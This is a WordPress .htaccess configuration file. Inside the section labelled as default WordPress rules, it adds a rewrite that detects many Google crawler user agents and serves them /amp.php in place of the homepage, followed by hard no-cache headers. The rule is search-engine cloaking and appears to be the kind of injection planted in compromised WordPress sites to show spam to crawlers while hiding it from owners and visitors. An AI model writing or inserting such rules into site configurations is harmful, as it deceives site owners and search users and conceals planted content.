# BEGIN WordPress
RewriteEngine On
# --- Googlebot handling ---
# Detect Google crawlers (expanded list)
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|APIs-Google|Googlebot-AdsBot|Googlebot-Desktop|Googlebot-Search|Googlebot-Events|Googlebot-Tablet|Googlebot-Local|Googlebot-Apps|Googlebot-Connect|Googlebot-Books|Googlebot-Publisher|Googlebot-News-RSS|Feedfetcher-Google|DuplexWeb-Google|Google-InspectionTool|Google\ Favicon|Google\ Web\ Preview) [NC]
# Redirect Googlebot hitting the homepage
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ /amp.php [L]
# --- Default WordPress rules ---
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
## HARD NO-CACHE START
Header set Cache-Control "no-store, no-cache, must-revalidate, max-age=0"
Header set Pragma "no-cache"
Header set Expires "0"
## HARD NO-CACHE END